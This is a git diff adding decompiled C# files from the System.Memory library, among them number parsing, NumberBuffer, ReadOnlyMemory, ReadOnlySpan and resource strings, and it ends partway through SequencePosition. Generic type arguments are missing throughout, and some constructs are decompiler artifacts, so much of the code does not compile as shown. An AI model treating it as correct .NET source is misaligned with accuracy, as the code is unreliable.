a/decompiled/Libraries/system.memory/System/MutableDecimal.cs b/decompiled/Libraries/system.memory/System/MutableDecimal.cs new file mode 100644 index 0000000..920a53b --- /dev/null +++ b/decompiled/Libraries/system.memory/System/MutableDecimal.cs @@ -0,0 +1,42 @@ +namespace System; + +internal struct MutableDecimal +{ + public uint Flags; + + public uint High; + + public uint Low; + + public uint Mid; + + private const uint SignMask = 2147483648u; + + private const uint ScaleMask = 16711680u; + + private const int ScaleShift = 16; + + public bool IsNegative + { + get + { + return (Flags & 0x80000000u) != 0; + } + set + { + Flags = (Flags & 0x7FFFFFFF) | (uint)(value ? int.MinValue : 0); + } + } + + public int Scale + { + get + { + return (byte)(Flags >> 16); + } + set + { + Flags = (Flags & 0xFF00FFFFu) | (uint)(value << 16); + } + } +} diff --git a/decompiled/Libraries/system.memory/System/NUInt.cs b/decompiled/Libraries/system.memory/System/NUInt.cs new file mode 100644 index 0000000..0520387 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/NUInt.cs @@ -0,0 +1,46 @@ +using System.Runtime.CompilerServices; + +namespace System; + +internal struct NUInt +{ + private unsafe readonly void* _value = (void*)value; + + private unsafe NUInt(uint value) + { + } + + private unsafe NUInt(ulong value) + { + } + + public static implicit operator NUInt(uint value) + { + return new NUInt(value); + } + + public unsafe static implicit operator IntPtr(NUInt value) + { + return (IntPtr)value._value; + } + + public static explicit operator NUInt(int value) + { + return new NUInt((uint)value); + } + + public unsafe static explicit operator void*(NUInt value) + { + return value._value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe static NUInt operator *(NUInt left, NUInt right) + { + if (sizeof(IntPtr) != 4) + { + return new NUInt((ulong)left._value * (ulong)right._value); + } + return new NUInt((uint)((int)left._value * (int)right._value)); + } +} diff --git a/decompiled/Libraries/system.memory/System/NotImplemented.cs b/decompiled/Libraries/system.memory/System/NotImplemented.cs new file mode 100644 index 0000000..cbac08f --- /dev/null +++ b/decompiled/Libraries/system.memory/System/NotImplemented.cs @@ -0,0 +1,16 @@ +namespace System; + +internal static class NotImplemented +{ + internal static Exception ByDesign => new NotImplementedException(); + + internal static Exception ByDesignWithMessage(string message) + { + return new NotImplementedException(message); + } + + internal static Exception ActiveIssue(string issue) + { + return new NotImplementedException(); + } +} diff --git a/decompiled/Libraries/system.memory/System/Number.cs b/decompiled/Libraries/system.memory/System/Number.cs new file mode 100644 index 0000000..af99c15 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/Number.cs @@ -0,0 +1,356 @@ +using System.Buffers.Text; +using System.Runtime.CompilerServices; + +namespace System; + +internal static class Number +{ + private static class DoubleHelper + { + public unsafe static uint Exponent(double d) + { + return (((uint*)(&d))[1] >> 20) & 0x7FF; + } + + public unsafe static ulong Mantissa(double d) + { + return (uint)(*(int*)(&d)) | ((ulong)(((uint*)(&d))[1] & 0xFFFFF) << 32); + } + + public unsafe static bool Sign(double d) + { + return ((uint*)(&d))[1] >> 31 != 0; + } + } + + internal const int DECIMAL_PRECISION = 29; + + private static readonly ulong[] s_rgval64Power10 = new ulong[30] + { + 11529215046068469760uL, 14411518807585587200uL, 18014398509481984000uL, 11258999068426240000uL, 14073748835532800000uL, 17592186044416000000uL, 10995116277760000000uL, 13743895347200000000uL, 17179869184000000000uL, 10737418240000000000uL, + 13421772800000000000uL, 16777216000000000000uL, 10485760000000000000uL, 13107200000000000000uL, 16384000000000000000uL, 14757395258967641293uL, 11805916207174113035uL, 9444732965739290428uL, 15111572745182864686uL, 12089258196146291749uL, + 9671406556917033399uL, 15474250491067253438uL, 12379400392853802751uL, 9903520314283042201uL, 15845632502852867522uL, 12676506002282294018uL, 10141204801825835215uL, 16225927682921336344uL, 12980742146337069075uL, 10384593717069655260uL + }; + + private static readonly sbyte[] s_rgexp64Power10 = new sbyte[15] + { + 4, 7, 10, 14, 17, 20, 24, 27, 30, 34, + 37, 40, 44, 47, 50 + }; + + private static readonly ulong[] s_rgval64Power10By16 = new ulong[42] + { + 10240000000000000000uL, 11368683772161602974uL, 12621774483536188886uL, 14012984643248170708uL, 15557538194652854266uL, 17272337110188889248uL, 9588073174409622172uL, 10644899600020376798uL, 11818212630765741798uL, 13120851772591970216uL, + 14567071740625403792uL, 16172698447808779622uL, 17955302187076837696uL, 9967194951097567532uL, 11065809325636130658uL, 12285516299433008778uL, 13639663065038175358uL, 15143067982934716296uL, 16812182738118149112uL, 9332636185032188787uL, + 10361307573072618722uL, 16615349947311448416uL, 14965776766268445891uL, 13479973333575319909uL, 12141680576410806707uL, 10936253623915059637uL, 9850501549098619819uL, 17745086042373215136uL, 15983352577617880260uL, 14396524142538228461uL, + 12967236152753103031uL, 11679847981112819795uL, 10520271803096747049uL, 9475818434452569218uL, 17070116948172427008uL, 15375394465392026135uL, 13848924157002783096uL, 12474001934591998882uL, 11235582092889474480uL, 10120112665365530972uL, + 18230774251475056952uL, 16420821625123739930uL + }; + + private static readonly short[] s_rgexp64Power10By16 = new short[21] + { + 54, 107, 160, 213, 266, 319, 373, 426, 479, 532, + 585, 638, 691, 745, 798, 851, 904, 957, 1010, 1064, + 1117 + }; + + public static void RoundNumber(ref NumberBuffer number, int pos) + { + Span digits = number.Digits; + int i; + for (i = 0; i < pos && digits[i] != 0; i++) + { + } + if (i == pos && digits[i] >= 53) + { + while (i > 0 && digits[i - 1] == 57) + { + i--; + } + if (i > 0) + { + digits[i - 1]++; + } + else + { + number.Scale++; + digits[0] = 49; + i = 1; + } + } + else + { + while (i > 0 && digits[i - 1] == 48) + { + i--; + } + } + if (i == 0) + { + number.Scale = 0; + number.IsNegative = false; + } + digits[i] = 0; + } + + internal static bool NumberBufferToDouble(ref NumberBuffer number, out double value) + { + double num = NumberToDouble(ref number); + uint num2 = DoubleHelper.Exponent(num); + ulong num3 = DoubleHelper.Mantissa(num); + switch (num2) + { + case 2047u: + value = 0.0; + return false; + case 0u: + if (num3 == 0L) + { + num = 0.0; + } + break; + } + value = num; + return true; + } + + public unsafe static bool NumberBufferToDecimal(ref NumberBuffer number, ref decimal value) + { + MutableDecimal source = default(MutableDecimal); + byte* ptr = number.UnsafeDigits; + int num = number.Scale; + if (*ptr == 0) + { + if (num > 0) + { + num = 0; + } + } + else + { + if (num > 29) + { + return false; + } + while ((num > 0 || (*ptr != 0 && num > -28)) && (source.High < 429496729 || (source.High == 429496729 && (source.Mid < 2576980377u || (source.Mid == 2576980377u && (source.Low < 2576980377u || (source.Low == 2576980377u && *ptr <= 53))))))) + { + DecimalDecCalc.DecMul10(ref source); + if (*ptr != 0) + { + DecimalDecCalc.DecAddInt32(ref source, (uint)(*(ptr++) - 48)); + } + num--; + } + if (*(ptr++) >= 53) + { + bool flag = true; + if (*(ptr - 1) == 53 && *(ptr - 2) % 2 == 0) + { + int num2 = 20; + while (*ptr == 48 && num2 != 0) + { + ptr++; + num2--; + } + if (*ptr == 0 || num2 == 0) + { + flag = false; + } + } + if (flag) + { + DecimalDecCalc.DecAddInt32(ref source, 1u); + if ((source.High | source.Mid | source.Low) == 0) + { + source.High = 429496729u; + source.Mid = 2576980377u; + source.Low = 2576980378u; + num++; + } + } + } + } + if (num > 0) + { + return false; + } + if (num <= -29) + { + source.High = 0u; + source.Low = 0u; + source.Mid = 0u; + source.Scale = 28; + } + else + { + source.Scale = -num; + } + source.IsNegative = number.IsNegative; + value = Unsafe.As(ref source); + return true; + } + + public static void DecimalToNumber(decimal value, ref NumberBuffer number) + { + ref MutableDecimal reference = ref Unsafe.As(ref value); + Span digits = number.Digits; + number.IsNegative = reference.IsNegative; + int num = 29; + while ((reference.Mid != 0) | (reference.High != 0)) + { + uint num2 = DecimalDecCalc.DecDivMod1E9(ref reference); + for (int i = 0; i < 9; i++) + { + digits[--num] = (byte)(num2 % 10 + 48); + num2 /= 10; + } + } + for (uint num3 = reference.Low; num3 != 0; num3 /= 10) + { + digits[--num] = (byte)(num3 % 10 + 48); + } + int num4 = 29 - num; + number.Scale = num4 - reference.Scale; + Span digits2 = number.Digits; + int index = 0; + while (--num4 >= 0) + { + digits2[index++] = digits[num++]; + } + digits2[index] = 0; + } + + private static uint DigitsToInt(ReadOnlySpan digits, int count) + { + uint value; + int bytesConsumed; + bool flag = Utf8Parser.TryParse(digits.Slice(0, count), out value, out bytesConsumed, 'D'); + return value; + } + + private static ulong Mul32x32To64(uint a, uint b) + { + return (ulong)a * (ulong)b; + } + + private static ulong Mul64Lossy(ulong a, ulong b, ref int pexp) + { + ulong num = Mul32x32To64((uint)(a >> 32), (uint)(b >> 32)) + (Mul32x32To64((uint)(a >> 32), (uint)b) >> 32) + (Mul32x32To64((uint)a, (uint)(b >> 32)) >> 32); + if ((num & 0x8000000000000000uL) == 0L) + { + num <<= 1; + pexp--; + } + return num; + } + + private static int abs(int value) + { + if (value < 0) + { + return -value; + } + return value; + } + + private unsafe static double NumberToDouble(ref NumberBuffer number) + { + ReadOnlySpan digits = number.Digits; + int i = 0; + int numDigits = number.NumDigits; + int num = numDigits; + for (; digits[i] == 48; i++) + { + num--; + } + if (num == 0) + { + return 0.0; + } + int num2 = Math.Min(num, 9); + num -= num2; + ulong num3 = DigitsToInt(digits, num2); + if (num > 0) + { + num2 = Math.Min(num, 9); + num -= num2; + uint b = (uint)(s_rgval64Power10[num2 - 1] >> 64 - s_rgexp64Power10[num2 - 1]); + num3 = Mul32x32To64((uint)num3, b) + DigitsToInt(digits.Slice(9), num2); + } + int num4 = number.Scale - (numDigits - num); + int num5 = abs(num4); + if (num5 >= 352) + { + ulong num6 = ((num4 > 0) ? 9218868437227405312uL : 0); + if (number.IsNegative) + { + num6 |= 0x8000000000000000uL; + } + return *(double*)(&num6); + } + int pexp = 64; + if ((num3 & 0xFFFFFFFF00000000uL) == 0L) + { + num3 <<= 32; + pexp -= 32; + } + if ((num3 & 0xFFFF000000000000uL) == 0L) + { + num3 <<= 16; + pexp -= 16; + } + if ((num3 & 0xFF00000000000000uL) == 0L) + { + num3 <<= 8; + pexp -= 8; + } + if ((num3 & 0xF000000000000000uL) == 0L) + { + num3 <<= 4; + pexp -= 4; + } + if ((num3 & 0xC000000000000000uL) == 0L) + { + num3 <<= 2; + pexp -= 2; + } + if ((num3 & 0x8000000000000000uL) == 0L) + { + num3 <<= 1; + pexp--; + } + int num7 = num5 & 0xF; + if (num7 != 0) + { + int num8 = s_rgexp64Power10[num7 - 1]; + pexp += ((num4 < 0) ? (-num8 + 1) : num8); + ulong b2 = s_rgval64Power10[num7 + ((num4 < 0) ? 15 : 0) - 1]; + num3 = Mul64Lossy(num3, b2, ref pexp); + } + num7 = num5 >> 4; + if (num7 != 0) + { + int num9 = s_rgexp64Power10By16[num7 - 1]; + pexp += ((num4 < 0) ? (-num9 + 1) : num9); + ulong b3 = s_rgval64Power10By16[num7 + ((num4 < 0) ? 21 : 0) - 1]; + num3 = Mul64Lossy(num3, b3, ref pexp); + } + if (((int)num3 & 0x400) != 0) + { + ulong num10 = num3 + 1023 + (ulong)(((int)num3 >> 11) & 1); + if (num10 < num3) + { + num10 = (num10 >> 1) | 0x8000000000000000uL; + pexp++; + } + num3 = num10; + } + pexp += 1022; + num3 = ((pexp <= 0) ? ((pexp == -52 && num3 >= 9223372036854775896uL) ? 1 : ((pexp > -52) ? (num3 >> -pexp + 11 + 1) : 0)) : ((pexp < 2047) ? ((ulong)((long)pexp << 52) + ((num3 >> 11) & 0xFFFFFFFFFFFFFL)) : 9218868437227405312uL)); + if (number.IsNegative) + { + num3 |= 0x8000000000000000uL; + } + return *(double*)(&num3); + } +} diff --git a/decompiled/Libraries/system.memory/System/NumberBuffer.cs b/decompiled/Libraries/system.memory/System/NumberBuffer.cs new file mode 100644 index 0000000..e915812 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/NumberBuffer.cs @@ -0,0 +1,149 @@ +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Text; + +namespace System; + +internal ref struct NumberBuffer +{ + public int Scale; + + public bool IsNegative; + + public const int BufferSize = 51; + + private byte _b0; + + private byte _b1; + + private byte _b2; + + private byte _b3; + + private byte _b4; + + private byte _b5; + + private byte _b6; + + private byte _b7; + + private byte _b8; + + private byte _b9; + + private byte _b10; + + private byte _b11; + + private byte _b12; + + private byte _b13; + + private byte _b14; + + private byte _b15; + + private byte _b16; + + private byte _b17; + + private byte _b18; + + private byte _b19; + + private byte _b20; + + private byte _b21; + + private byte _b22; + + private byte _b23; + + private byte _b24; + + private byte _b25; + + private byte _b26; + + private byte _b27; + + private byte _b28; + + private byte _b29; + + private byte _b30; + + private byte _b31; + + private byte _b32; + + private byte _b33; + + private byte _b34; + + private byte _b35; + + private byte _b36; + + private byte _b37; + + private byte _b38; + + private byte _b39; + + private byte _b40; + + private byte _b41; + + private byte _b42; + + private byte _b43; + + private byte _b44; + + private byte _b45; + + private byte _b46; + + private byte _b47; + + private byte _b48; + + private byte _b49; + + private byte _b50; + + public unsafe Span Digits => new Span(Unsafe.AsPointer(in _b0), 51); + + public unsafe byte* UnsafeDigits => (byte*)Unsafe.AsPointer(in _b0); + + public int NumDigits => Digits.IndexOf((byte)0); + + [Conditional("DEBUG")] + public void CheckConsistency() + { + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append('['); + stringBuilder.Append('"'); + Span digits = Digits; + for (int i = 0; i < 51; i++) + { + byte b = digits[i]; + if (b == 0) + { + break; + } + stringBuilder.Append((char)b); + } + stringBuilder.Append('"'); + stringBuilder.Append(", Scale = " + Scale); + stringBuilder.Append(", IsNegative = " + IsNegative); + stringBuilder.Append(']'); + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/system.memory/System/Pinnable.cs b/decompiled/Libraries/system.memory/System/Pinnable.cs new file mode 100644 index 0000000..3c80a9c --- /dev/null +++ b/decompiled/Libraries/system.memory/System/Pinnable.cs @@ -0,0 +1,9 @@ +using System.Runtime.InteropServices; + +namespace System; + +[StructLayout(LayoutKind.Sequential)] +internal sealed class Pinnable +{ + public T Data; +} diff --git a/decompiled/Libraries/system.memory/System/ReadOnlyMemory.cs b/decompiled/Libraries/system.memory/System/ReadOnlyMemory.cs new file mode 100644 index 0000000..eb19dce --- /dev/null +++ b/decompiled/Libraries/system.memory/System/ReadOnlyMemory.cs @@ -0,0 +1,235 @@ +using System.Buffers; +using System.ComponentModel; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System; + +[DebuggerTypeProxy(typeof(System.MemoryDebugView<>))] +[DebuggerDisplay("{ToString(),raw}")] +public readonly struct ReadOnlyMemory +{ + private readonly object _object; + + private readonly int _index; + + private readonly int _length; + + internal const int RemoveFlagsBitMask = int.MaxValue; + + public static ReadOnlyMemory Empty => default(ReadOnlyMemory); + + public int Length => _length & 0x7FFFFFFF; + + public bool IsEmpty => (_length & 0x7FFFFFFF) == 0; + + public ReadOnlySpan Span + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + if (_index < 0) + { + return ((MemoryManager)_object).GetSpan().Slice(_index & 0x7FFFFFFF, _length); + } + ReadOnlySpan result; + if (typeof(T) == typeof(char) && _object is string text) + { + result = new ReadOnlySpan(Unsafe.As>(text), MemoryExtensions.StringAdjustment, text.Length); + return result.Slice(_index, _length); + } + if (_object != null) + { + return new ReadOnlySpan((T[])_object, _index, _length & 0x7FFFFFFF); + } + result = default(ReadOnlySpan); + return result; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlyMemory(T[] array) + { + if (array == null) + { + this = default(ReadOnlyMemory); + return; + } + _object = array; + _index = 0; + _length = array.Length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlyMemory(T[] array, int start, int length) + { + if (array == null) + { + if (start != 0 || length != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + this = default(ReadOnlyMemory); + return; + } + if ((uint)start > (uint)array.Length || (uint)length > (uint)(array.Length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + _object = array; + _index = start; + _length = length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ReadOnlyMemory(object obj, int start, int length) + { + _object = obj; + _index = start; + _length = length; + } + + public static implicit operator ReadOnlyMemory(T[] array) + { + return new ReadOnlyMemory(array); + } + + public static implicit operator ReadOnlyMemory(ArraySegment segment) + { + return new ReadOnlyMemory(segment.Array, segment.Offset, segment.Count); + } + + public override string ToString() + { + if (typeof(T) == typeof(char)) + { + if (!(_object is string text)) + { + return Span.ToString(); + } + return text.Substring(_index, _length & 0x7FFFFFFF); + } + return $"System.ReadOnlyMemory<{typeof(T).Name}>[{_length & 0x7FFFFFFF}]"; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlyMemory Slice(int start) + { + int length = _length; + int num = length & 0x7FFFFFFF; + if ((uint)start > (uint)num) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new ReadOnlyMemory(_object, _index + start, length - start); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlyMemory Slice(int start, int length) + { + int length2 = _length; + int num = _length & 0x7FFFFFFF; + if ((uint)start > (uint)num || (uint)length > (uint)(num - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new ReadOnlyMemory(_object, _index + start, length | (length2 & int.MinValue)); + } + + public void CopyTo(Memory destination) + { + Span.CopyTo(destination.Span); + } + + public bool TryCopyTo(Memory destination) + { + return Span.TryCopyTo(destination.Span); + } + + public unsafe MemoryHandle Pin() + { + if (_index < 0) + { + return ((MemoryManager)_object).Pin(_index & 0x7FFFFFFF); + } + if (typeof(T) == typeof(char) && _object is string value) + { + GCHandle handle = GCHandle.Alloc(value, GCHandleType.Pinned); + void* pointer = Unsafe.Add((void*)handle.AddrOfPinnedObject(), _index); + return new MemoryHandle(pointer, handle); + } + if (_object is T[] array) + { + if (_length < 0) + { + void* pointer2 = Unsafe.Add(Unsafe.AsPointer(in MemoryMarshal.GetReference((Span)array)), _index); + return new MemoryHandle(pointer2); + } + GCHandle handle2 = GCHandle.Alloc(array, GCHandleType.Pinned); + void* pointer3 = Unsafe.Add((void*)handle2.AddrOfPinnedObject(), _index); + return new MemoryHandle(pointer3, handle2); + } + return default(MemoryHandle); + } + + public T[] ToArray() + { + return Span.ToArray(); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public override bool Equals(object obj) + { + if (obj is ReadOnlyMemory other) + { + return Equals(other); + } + if (obj is Memory memory) + { + return Equals(memory); + } + return false; + } + + public bool Equals(ReadOnlyMemory other) + { + if (_object == other._object && _index == other._index) + { + return _length == other._length; + } + return false; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public override int GetHashCode() + { + if (_object == null) + { + return 0; + } + int hashCode = _object.GetHashCode(); + int index = _index; + int hashCode2 = index.GetHashCode(); + index = _length; + return CombineHashCodes(hashCode, hashCode2, index.GetHashCode()); + } + + private static int CombineHashCodes(int left, int right) + { + return ((left << 5) + left) ^ right; + } + + private static int CombineHashCodes(int h1, int h2, int h3) + { + return CombineHashCodes(CombineHashCodes(h1, h2), h3); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal object GetObjectStartLength(out int start, out int length) + { + start = _index; + length = _length; + return _object; + } +} diff --git a/decompiled/Libraries/system.memory/System/ReadOnlySpan.cs b/decompiled/Libraries/system.memory/System/ReadOnlySpan.cs new file mode 100644 index 0000000..de8eeca --- /dev/null +++ b/decompiled/Libraries/system.memory/System/ReadOnlySpan.cs @@ -0,0 +1,289 @@ +using System.ComponentModel; +using System.Diagnostics; +using System.Runtime.CompilerServices; + +namespace System; + +[DebuggerTypeProxy(typeof(System.SpanDebugView<>))] +[DebuggerDisplay("{ToString(),raw}")] +[DebuggerTypeProxy(typeof(System.SpanDebugView<>))] +[DebuggerDisplay("{ToString(),raw}")] +public readonly ref struct ReadOnlySpan +{ + public ref struct Enumerator + { + private readonly ReadOnlySpan _span; + + private int _index; + + public ref readonly T Current + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return ref _span[_index]; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal Enumerator(ReadOnlySpan span) + { + _span = span; + _index = -1; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public bool MoveNext() + { + int num = _index + 1; + if (num < _span.Length) + { + _index = num; + return true; + } + return false; + } + } + + private readonly Pinnable _pinnable; + + private readonly IntPtr _byteOffset; + + private readonly int _length; + + public int Length => _length; + + public bool IsEmpty => _length == 0; + + public static ReadOnlySpan Empty => default(ReadOnlySpan); + + public unsafe ref readonly T this[int index] + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + if ((uint)index >= (uint)_length) + { + System.ThrowHelper.ThrowIndexOutOfRangeException(); + } + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + return ref Unsafe.Add(ref Unsafe.AsRef(byteOffset.ToPointer()), index); + } + return ref Unsafe.Add(ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset), index); + } + } + + internal Pinnable Pinnable => _pinnable; + + internal IntPtr ByteOffset => _byteOffset; + + public static bool operator !=(ReadOnlySpan left, ReadOnlySpan right) + { + return !(left == right); + } + + [Obsolete("Equals() on ReadOnlySpan will always throw an exception. Use == instead.")] + [EditorBrowsable(EditorBrowsableState.Never)] + public override bool Equals(object obj) + { + throw new NotSupportedException(System.SR.NotSupported_CannotCallEqualsOnSpan); + } + + [Obsolete("GetHashCode() on ReadOnlySpan will always throw an exception.")] + [EditorBrowsable(EditorBrowsableState.Never)] + public override int GetHashCode() + { + throw new NotSupportedException(System.SR.NotSupported_CannotCallGetHashCodeOnSpan); + } + + public static implicit operator ReadOnlySpan(T[] array) + { + return new ReadOnlySpan(array); + } + + public static implicit operator ReadOnlySpan(ArraySegment segment) + { + return new ReadOnlySpan(segment.Array, segment.Offset, segment.Count); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlySpan(T[] array) + { + if (array == null) + { + this = default(ReadOnlySpan); + return; + } + _length = array.Length; + _pinnable = Unsafe.As>(array); + _byteOffset = System.SpanHelpers.PerTypeValues.ArrayAdjustment; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlySpan(T[] array, int start, int length) + { + if (array == null) + { + if (start != 0 || length != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + this = default(ReadOnlySpan); + return; + } + if ((uint)start > (uint)array.Length || (uint)length > (uint)(array.Length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + _length = length; + _pinnable = Unsafe.As>(array); + _byteOffset = System.SpanHelpers.PerTypeValues.ArrayAdjustment.Add(start); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public unsafe ReadOnlySpan(void* pointer, int length) + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + if (length < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + _length = length; + _pinnable = null; + _byteOffset = new IntPtr(pointer); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ReadOnlySpan(Pinnable pinnable, IntPtr byteOffset, int length) + { + _length = length; + _pinnable = pinnable; + _byteOffset = byteOffset; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public unsafe ref readonly T GetPinnableReference() + { + if (_length != 0) + { + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + return ref Unsafe.AsRef(byteOffset.ToPointer()); + } + return ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset); + } + return ref Unsafe.AsRef(null); + } + + public void CopyTo(Span destination) + { + if (!TryCopyTo(destination)) + { + System.ThrowHelper.ThrowArgumentException_DestinationTooShort(); + } + } + + public bool TryCopyTo(Span destination) + { + int length = _length; + int length2 = destination.Length; + if (length == 0) + { + return true; + } + if ((uint)length > (uint)length2) + { + return false; + } + ref T src = ref DangerousGetPinnableReference(); + System.SpanHelpers.CopyTo(ref destination.DangerousGetPinnableReference(), length2, ref src, length); + return true; + } + + public static bool operator ==(ReadOnlySpan left, ReadOnlySpan right) + { + if (left._length == right._length) + { + return Unsafe.AreSame(in left.DangerousGetPinnableReference(), in right.DangerousGetPinnableReference()); + } + return false; + } + + public unsafe override string ToString() + { + if (typeof(T) == typeof(char)) + { + if (_byteOffset == MemoryExtensions.StringAdjustment) + { + object obj = Unsafe.As(_pinnable); + if (obj is string text && _length == text.Length) + { + return text; + } + } + fixed (char* value = &Unsafe.As(ref DangerousGetPinnableReference())) + { + return new string(value, 0, _length); + } + } + return $"System.ReadOnlySpan<{typeof(T).Name}>[{_length}]"; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlySpan Slice(int start) + { + if ((uint)start > (uint)_length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + IntPtr byteOffset = _byteOffset.Add(start); + int length = _length - start; + return new ReadOnlySpan(_pinnable, byteOffset, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlySpan Slice(int start, int length) + { + if ((uint)start > (uint)_length || (uint)length > (uint)(_length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + IntPtr byteOffset = _byteOffset.Add(start); + return new ReadOnlySpan(_pinnable, byteOffset, length); + } + + public T[] ToArray() + { + if (_length == 0) + { + return System.SpanHelpers.PerTypeValues.EmptyArray; + } + T[] array = new T[_length]; + CopyTo(array); + return array; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [EditorBrowsable(EditorBrowsableState.Never)] + internal unsafe ref T DangerousGetPinnableReference() + { + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + return ref Unsafe.AsRef(byteOffset.ToPointer()); + } + return ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset); + } +} diff --git a/decompiled/Libraries/system.memory/System/SR.cs b/decompiled/Libraries/system.memory/System/SR.cs new file mode 100644 index 0000000..e50402f --- /dev/null +++ b/decompiled/Libraries/system.memory/System/SR.cs @@ -0,0 +1,103 @@ +using System.Resources; +using System.Runtime.CompilerServices; +using FxResources.System.Memory; + +namespace System; + +internal static class SR +{ + private static ResourceManager s_resourceManager; + + private static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(ResourceType)); + + internal static Type ResourceType { get; } = typeof(FxResources.System.Memory.SR); + + internal static string NotSupported_CannotCallEqualsOnSpan => GetResourceString("NotSupported_CannotCallEqualsOnSpan", null); + + internal static string NotSupported_CannotCallGetHashCodeOnSpan => GetResourceString("NotSupported_CannotCallGetHashCodeOnSpan", null); + + internal static string Argument_InvalidTypeWithPointersNotSupported => GetResourceString("Argument_InvalidTypeWithPointersNotSupported", null); + + internal static string Argument_DestinationTooShort => GetResourceString("Argument_DestinationTooShort", null); + + internal static string MemoryDisposed => GetResourceString("MemoryDisposed", null); + + internal static string OutstandingReferences => GetResourceString("OutstandingReferences", null); + + internal static string Argument_BadFormatSpecifier => GetResourceString("Argument_BadFormatSpecifier", null); + + internal static string Argument_GWithPrecisionNotSupported => GetResourceString("Argument_GWithPrecisionNotSupported", null); + + internal static string Argument_CannotParsePrecision => GetResourceString("Argument_CannotParsePrecision", null); + + internal static string Argument_PrecisionTooLarge => GetResourceString("Argument_PrecisionTooLarge", null); + + internal static string Argument_OverlapAlignmentMismatch => GetResourceString("Argument_OverlapAlignmentMismatch", null); + + internal static string EndPositionNotReached => GetResourceString("EndPositionNotReached", null); + + internal static string UnexpectedSegmentType => GetResourceString("UnexpectedSegmentType", null); + + [MethodImpl(MethodImplOptions.NoInlining)] + private static bool UsingResourceKeys() + { + return false; + } + + internal static string GetResourceString(string resourceKey, string defaultString) + { + string text = null; + try + { + text = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + if (defaultString != null && resourceKey.Equals(text, StringComparison.Ordinal)) + { + return defaultString; + } + return text; + } + + internal static string Format(string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } +} diff --git a/decompiled/Libraries/system.memory/System/SequencePosition.cs b/decompiled/Libraries/system.memory/System/SequencePosition.cs new file mode 100644 index 0000000..5a2f8d2 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/SequencePosition.cs @@ -0,0 +1,48 @@ +using System.ComponentModel; +using System.Numerics.Hashing; + +namespace System; + +public readonly struct SequencePosition(object @object, int integer) : IEquatable +{ + private readonly object _object = @object; + + private readonly int _integer = integer; + + [EditorBrowsable(EditorBrowsableState.Never)] + public object GetObject() + { + return _object; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public int GetInteger() + { + return _integer; + } + + public bool Equals(SequencePosition other) + { + if (_integer == other._integer) + { + return object.Equals(_object, other._object); + 